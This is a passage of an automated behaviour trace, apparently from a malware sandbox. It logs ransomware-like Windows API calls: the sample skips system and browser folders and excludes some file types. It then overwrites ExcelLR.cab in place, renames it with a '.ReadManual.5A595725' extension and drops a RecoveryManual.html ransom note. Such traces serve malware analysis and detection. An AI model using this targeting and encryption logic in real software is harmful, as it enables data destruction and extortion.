Settings\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.977] CreateFileW (lpFileName="\\\\?\\c:\\Documents and Settings\\" (normalized: "c:\\documents and settings"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200400, hTemplateFile=0x0) returned 0x14c [0175.978] DeviceIoControl (in: hDevice=0x14c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x68b874, nOutBufferSize=0x4000, lpBytesReturned=0x434ff18, lpOverlapped=0x0 | out: lpOutBuffer=0x68b874*, lpBytesReturned=0x434ff18*=0x3c, lpOverlapped=0x0) returned 1 [0175.978] CloseHandle (hObject=0x14c) returned 1 [0175.978] StrStrIW (lpFirst="\\??\\C:\\Users", lpSrch=":\\") returned=":\\Users" [0175.978] FindNextFileW (in: hFindFile=0x667650, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0175.978] lstrcpyW (in: lpString1=0x6ab8aa, lpString2="hiberfil.sys" | out: lpString1="hiberfil.sys") returned="hiberfil.sys" [0175.978] lstrcmpiW (lpString1="hiberfil.sys", lpString2="RecoveryManual.html") returned -1 [0175.978] StrStrIW (lpFirst="hiberfil.sys", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.978] StrCmpIW (psz1="sys", psz2="exe") returned 1 [0175.978] StrCmpIW (psz1="sys", psz2="dll") returned 1 [0175.978] StrCmpIW (psz1="sys", psz2="sys") returned 0 [0175.978] FindNextFileW (in: hFindFile=0x667650, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0175.978] lstrcpyW (in: lpString1=0x69b8aa, lpString2="MSOCache" | out: lpString1="MSOCache") returned="MSOCache" [0175.978] lstrcatW (in: lpString1="MSOCache", lpString2="\\" | out: lpString1="MSOCache\\") returned="MSOCache\\" [0175.978] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch=":\\Windows\\") returned 0x0 [0175.978] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.978] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.978] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.978] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch=":\\WINNT") returned 0x0 [0175.978] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.978] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.978] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.978] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.978] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.978] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.978] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.978] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.978] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.978] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.979] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.979] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.979] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.979] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.979] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.979] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.979] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.979] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.979] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.979] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.979] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\") returned 16 [0175.979] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x688c28 [0175.980] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\" | out: lpString1="\\\\?\\c:\\MSOCache\\") returned="\\\\?\\c:\\MSOCache\\" [0175.980] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.980] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0175.980] lstrcpyW (in: lpString1=0x69b8bc, lpString2="All Users" | out: lpString1="All Users") returned="All Users" [0175.980] lstrcatW (in: lpString1="All Users", lpString2="\\" | out: lpString1="All Users\\") returned="All Users\\" [0175.980] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch=":\\Windows\\") returned 0x0 [0175.980] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.980] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.980] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.980] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch=":\\WINNT") returned 0x0 [0175.980] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.980] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.980] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.980] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.980] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.980] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.980] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.980] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.980] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.980] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.980] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.980] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.980] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.980] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.981] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.981] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.981] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.981] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.981] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.981] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.981] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\") returned 26 [0175.981] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.983] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\") returned="\\\\?\\c:\\MSOCache\\All Users\\" [0175.983] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.984] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0175.984] lstrcpyW (in: lpString1=0x69b8d0, lpString2="{90140000-0016-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C") returned="{90140000-0016-0409-1000-0000000FF1CE}-C" [0175.984] lstrcatW (in: lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C\\") returned="{90140000-0016-0409-1000-0000000FF1CE}-C\\" [0175.984] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows\\") returned 0x0 [0175.984] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.984] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.984] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.984] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\WINNT") returned 0x0 [0175.984] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.984] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.984] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.984] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.984] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.984] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.984] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.984] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.984] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.984] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.984] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.985] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.985] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.985] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.985] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.985] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.985] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.985] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.985] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.985] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.985] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\") returned 67 [0175.985] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6680e8 [0175.986] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\" [0175.986] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.987] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0175.987] lstrcpyW (in: lpString1=0x6ab922, lpString2="ExcelLR.cab" | out: lpString1="ExcelLR.cab") returned="ExcelLR.cab" [0175.987] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="RecoveryManual.html") returned -1 [0175.987] StrStrIW (lpFirst="ExcelLR.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.987] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0175.987] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0175.987] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0175.987] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0175.987] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0175.987] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0175.987] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0175.987] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0175.987] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0175.987] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0175.987] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0175.987] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0175.987] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0175.987] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0175.987] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" [0175.987] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.ReadManual.5A595725" [0175.987] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.ReadManual.5A595725") returned 98 [0175.987] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=29665610823) returned 1 [0175.987] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab")) returned 0x2020 [0175.988] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0175.988] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=16972987) returned 1 [0175.988] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x102fcbb, lpName=0x0) returned 0x194 [0175.988] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0175.990] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.990] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0175.992] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0175.992] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x102fcbb) returned 0x4350000 [0176.566] SetSecurityInfo () returned 0x57 [0176.566] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0176.566] CloseHandle (hObject=0x190) returned 1 [0176.566] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\" [0176.566] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" [0176.566] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0176.567] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0176.568] CloseHandle (hObject=0x190) returned 1 [0176.568] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0176.568] lstrcpyW (in: lpString1=0x6ab922, lpString2="ExcelMUI.msi" | out: lpString1="ExcelMUI.msi") returned="ExcelMUI.msi" [0176.568] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="RecoveryManual.html") returned -1 [0176.568] StrStrIW (lpFirst="ExcelMUI.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0176.569] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0176.569] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0176.569] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0176.569] 